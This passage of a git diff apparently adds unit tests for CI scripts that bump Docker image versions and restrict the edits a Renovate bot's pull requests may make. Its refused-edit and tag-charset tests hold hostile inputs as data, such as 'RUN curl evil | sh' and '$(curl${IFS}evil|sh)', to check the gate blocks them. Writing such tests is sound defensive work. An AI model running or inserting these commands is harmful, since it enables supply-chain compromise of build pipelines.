x, version: 1.0.0}\n" + self.write(".gitea/workflows/image.yml", flow) + self.commit("flow") + self.write("requirements-dev.txt", "a==2\n") + code, unused, err = self.bump() + self.assertEqual(code, 1) + self.assertEqual(len(err.strip().splitlines()), 1, err) + self.assertEqual(self.versions(), flow) + + def test_crlf_line_endings_are_preserved(self): + crlf = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace("\n", "\r\n").encode("utf-8") + path = self.repo / ".gitea/workflows/image.yml" + path.write_bytes(crlf) + self.commit("crlf") + self.write("requirements-dev.txt", "a==2\n") + self.assertEqual(self.bump()[0], 0) + self.assertEqual(path.read_bytes(), crlf.replace(b'"0.2.0"', b'"0.2.1"')) + + def test_ignored_cache_under_images_is_not_an_input(self): + self.write(".gitignore", "__pycache__/\n") + self.commit("ignore") + self.write("images/mol/__pycache__/x.pyc", "cache\n") + self.assertEqual(self.bump()[1], "image versions: nothing to bump\n") + self.write("images/mol/real-file", "x\n") + self.assertEqual(self.bump()[1], "image versions: bumped mol 0.1.0 -> 0.1.1\n") + + def test_shallow_clone_names_the_fix(self): + clone = self.repo.parent / (self.repo.name + "-shallow") + self.addCleanup(shutil.rmtree, clone, True) + self.write("images/mol/Dockerfile", "FROM y\n") + self.commit("two") + self.write("images/mol/Dockerfile", "FROM z\n") + self.commit("three") + run(self.repo.parent, "git", "clone", "-q", "--depth", "1", "--branch", "feature", f"file://{self.repo}", + str(clone)) + run(clone, "git", "fetch", "-q", "--depth", "1", "origin", "main:refs/remotes/origin/main") + proc = subprocess.run([sys.executable, str(SCRIPTS / "bump_image_versions.py"), "origin/main"], cwd=clone, + capture_output=True, text=True, check=False) + self.assertEqual(proc.returncode, 1) + self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr) + self.assertIn("git fetch --unshallow", proc.stderr) + + def test_usage(self): + self.assertEqual(self.bump("a", "b")[0], 2) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py new file mode 100644 index 0000000..c69d38c --- /dev/null +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -0,0 +1,274 @@ +# SPDX-FileCopyrightText: Defame1297 and contributors +# SPDX-License-Identifier: GPL-3.0-or-later +"""Run with: python3 -m unittest discover -s tests/scripts""" +import os +import pathlib +import subprocess +import sys +import tempfile +import unittest +from unittest import mock + +SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts" +sys.path.insert(0, str(SCRIPTS)) +import check_bot_pr_diff as cbd # noqa: E402 + +D1, D2 = "sha256:" + "a" * 64, "sha256:" + "b" * 64 +FILES = { + "requirements-dev.txt": "# pins\nansible-core==2.19.14\nreuse==6.2.0\n", + ".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n", + "images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n", + "images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n", + ".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n" + f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n" + " steps:\n - run: echo ok\n"), + ".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n", + ".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n", + "renovate.json": "{}\n", +} + + +def run(cwd, *cmd): + return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True, + env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}) + + +class RuleTest(unittest.TestCase): + def problem(self, path, old, new): + return cbd.file_problem(path, [old], [new]) + + def test_allowed_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"), + (".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"), + (".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"), + (".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}", + f" git.rkdr.net/mortis/mol:0.1.1@{D2}"), + ] + for path, old, new in cases: + self.assertIsNone(self.problem(path, old, new), (path, old, new)) + + def test_refused_edits(self): + cases = [ + ("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"), + ("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"), + (".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"), + ("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"), + ("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"), + (".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"), + (".gitea/workflows/lint.yml", "run: echo a", "run: echo b"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"), + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"), + ("renovate.json", "{}", '{"a": 1}'), + ("roles/x/tasks/main.yml", "a", "b"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_tag_charset_is_restricted(self): + bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"] + for tag in bad_tags: + cases = [ + (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", + f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, tag)) + + def test_digest_may_not_be_dropped(self): + cases = [ + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"), + ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"), + ("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"), + (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"), + (".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"), + ] + for path, old, new in cases: + self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + + def test_version_lines_stay_in_place_and_rise(self): + v = " version: {}" + self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))])) + self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))])) + swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))], + [(5, v.format("0.2.0")), (9, v.format("0.1.0"))]) + self.assertIsNotNone(swapped) + + def test_unequal_line_counts_are_refused(self): + self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"])) + self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], [])) + + def test_patch_parser_keeps_dashed_content(self): + patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n" + self.assertEqual(cbd.parse_patch(patch), (["-- x"], ["++ y"])) + + +class RepoTest(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.repo = pathlib.Path(self.tmp.name) + self.addCleanup(self.tmp.cleanup) + run(self.repo, "git", "init", "-q", "-b", "main") + run(self.repo, "git", "config", "user.email", "t@example.org") + run(self.repo, "git", "config", "user.name", "t") + for rel, text in FILES.items(): + self.write(rel, text) + self.commit("base") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/x") + + def write(self, rel, text): + p = self.repo / rel + p.parent.mkdir(parents=True, exist_ok=True) + p.write_text(text) + + def edit(self, rel, old, new): + self.write(rel, (self.repo / rel).read_text().replace(old, new)) + + def commit(self, msg): + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", msg) + + def gate(self, head="renovate/x", base="main"): + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo, + capture_output=True, text=True, check=False) + return proc.returncode, proc.stdout, proc.stderr + + def test_a_nul_containing_file_is_refused(self): + self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0") + self.commit("bot") + code, unused, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("requirements-dev.txt", err) + + def test_a_utf16_rewrite_is_refused(self): + text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0") + (self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16")) + self.commit("bot") + code, unused, err = self.gate() + self.assertEqual(code, 1, err) + self.assertEqual(len(err.strip().splitlines()), 1, err) + + def test_a_diff_attribute_does_not_hide_a_change(self): + self.write(".gitattributes", "requirements-dev.txt -diff\n") + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + code, unused, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn(".gitattributes", err) + + def test_binary_and_one_sided_patches_are_refused(self): + entries = [("100644", "100644", "M", "requirements-dev.txt")] + for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n", + "@@ -0,0 +1 @@\n+reuse==6.3.0\n"): + self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch) + + def test_git_is_told_to_take_paths_literally(self): + seen = [] + real = cbd.civ.git + + def spy(*args, **kwargs): + seen.append(args) + return real(*args, **kwargs) + + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.commit("bot") + old_cwd = os.getcwd() + self.addCleanup(os.chdir, old_cwd) + os.chdir(self.repo) + with mock.patch.object(cbd.civ, "git", spy): + result = cbd.run(["check_bot_pr_diff.py", "renovate/x", "main"]) + self.assertEqual(result[0], []) + patches = [args for args in seen if "-U0" in args] + self.assertTrue(patches) + self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches) + self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args + for args in patches), patches) + + def test_empty_head_ref_on_a_pull_request_fails_closed(self): + self.write("roles/x/main.yml", "a\n") + self.commit("anything") + env = {**os.environ, "EVENT_NAME": "pull_request"} + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 1, proc.stderr) + self.assertIn("empty", proc.stderr) + self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr) + env["EVENT_NAME"] = "push" + proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo, + capture_output=True, text=True, check=False, env=env) + self.assertEqual(proc.returncode, 0, proc.stderr) + + def test_lowering_a_matrix_version_fails_and_raising_it_passes(self): + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9") + self.commit("lower") + code, unused, err = self.gate() + self.assertEqual(code, 1, err) + self.assertIn("version", err) + run(self.repo, "git", "checkout", "-q", "main") + run(self.repo, "git", "checkout", "-q", "-b", "renovate/ok") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.commit("raise") + self.assertEqual(self.gate(head="renovate/ok")[0], 0) + + def test_a_realistic_bot_pr_passes(self): + self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0") + self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0") + self.edit("images/ci/Dockerfile", "uv==0.13.5", "uv==0.14.0") + self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1") + self.edit(".gitea/workflows/molecule.yml", D1, D2) + self.commit("bot") + code, out, err = self.gate() + self.assertEqual(code, 0, err) + self.assertIn("5 file(s)", out) + + def test_each_violation_gets_one_line(self): + self.edit(".gitea/workflows/lint.yml", "echo a", "echo b") + self.write("roles/x/main.yml", "a\n") + self.edit("renovate.json", "{}", '{"a":1}') + self.commit("bot") + code, unused, err = self.gate() + self.assertEqual(code, 1) + lines = err.strip().splitlines() + self.assertEqual(len(lines), 3, err) + self.assertTrue(all(line.startswith("::error::") for line in lines)) + + def test_deleted_and_mode_changed_files_fail(self): + run(self.repo, "git", "rm", "-q", "requirements-dev.txt") + self.commit("bot") + self.assertEqual(self.gate()[0], 1) + run(self.repo, "git", "checkout", "-q", "main", "--", "requirements-dev.txt") + os.chmod(self.repo / "requirements-dev.txt", 0o755) + run(self.repo, "git", "add", "-A") + run(self.repo, "git", "commit", "-q", "-m", "mode") + self.assertEqual(self.gate()[0], 1) + + def test_other_branches_are_skipped(self): + self.write("roles/x/main.yml", "a\n") + self.commit("human") + code, out, unused = self.gate(head="feat/x") + self.assertEqual(code, 0) + self.assertIn("skipped", out) + + def test_bad_input(self): + code, unused, err = self.gate(base="--output=x") + self.assertEqual(code, 1) + self.assertNotIn("Traceback", err) + self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo, + capture_output=True, text=True, check=False).returncode, 2) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/scripts/test_check_image_versions.py b/tests/scripts/test_check_image_versions.py index 877eac5..b008f18 100644 --- a/tests/scripts/test_check_image_versions.py +++ b/tests/scripts/test_check_image_versions.py @@ -73,6 +73,14 @@ class PureTest(unittest.TestCase): def matrix(self, mol="0.1.0", ci="0.2.0"): return civ.matrix_of(IMAGE_YML.format(mol=mol, ci=ci)) + def test_foreign_production_images_are_denied(self): + for text in ("image: git.rkdr.net/defame1297/gitea-ansible-runner:1@sha256:" + "a" * 64, + "# GIT.RKDR.NET:443/Defame1297/x", "image: git.rkdr.net/defame1297/y"): + self.assertEqual(len(civ.check_foreign_images({"w.yml": text})), 1, text) + for text in ("image: git.rkdr.net/mortis/ci:0.2.0", "https://git.rkdr.net/defame1297x", + "see Defame1297/ansible-homelab-mono"): + self.assertEqual(civ.check_foreign_images({"w.yml": text}), [], text) + def test_pins_ok_and_lagging(self): pin = f"image: git.rkdr.net/mortis/ci:0.1.0@{DIGEST}\n" self.assertEqual(civ.check_pins(self.matrix(), {"lint.yml": pin}), []) @@ -243,6 +251,14 @@ class GitTest(unittest.TestCase): self.assertIn(text, err) self.assertEqual(len(err.strip().splitlines()), 1, err) + def test_pins_cli_denies_a_production_image_in_any_workflow(self): + self.write(".gitea/workflows/lint.yml", "name: Lint\n") + self.assertEqual(self.bump_args("pins")[0], 0) + self.write(".gitea/workflows/other.yaml", "container: git.rkdr.net/defame1297/runner:1\n") + code, err = self.bump_args("pins") + self.assertEqual(code, 1) + self.assertIn("other.yaml: mentions git.rkdr.net/defame1297/", err) + def test_moved_input_out_of_the_set_fails(self): run(self.repo, "git", "mv", "images/mol/Dockerfile", "elsewhere.dockerfile") self.commit("move out") @@ -264,6 +280,13 @@ class GitTest(unittest.TestCase): def test_unknown_base_ref_is_one_line(self): self.assert_clean_failure(self.bump_args("bump", "nope"), "git merge-base failed") + def test_git_errors_are_decoded_text_not_a_bytes_repr(self): + code, err = self.bump_args("bump", "nope") + self.assertEqual(code, 1) + self.assertNotIn("b'", err) + self.assertNotIn('b"', err) + self.assertIn("fatal:", err) + def test_bad_version_in_matrix_is_one_line(self): self.write(".gitea/workflows/image.yml", IMAGE_YML.format(mol="latest", ci="0.2.0")) self.commit("bad version")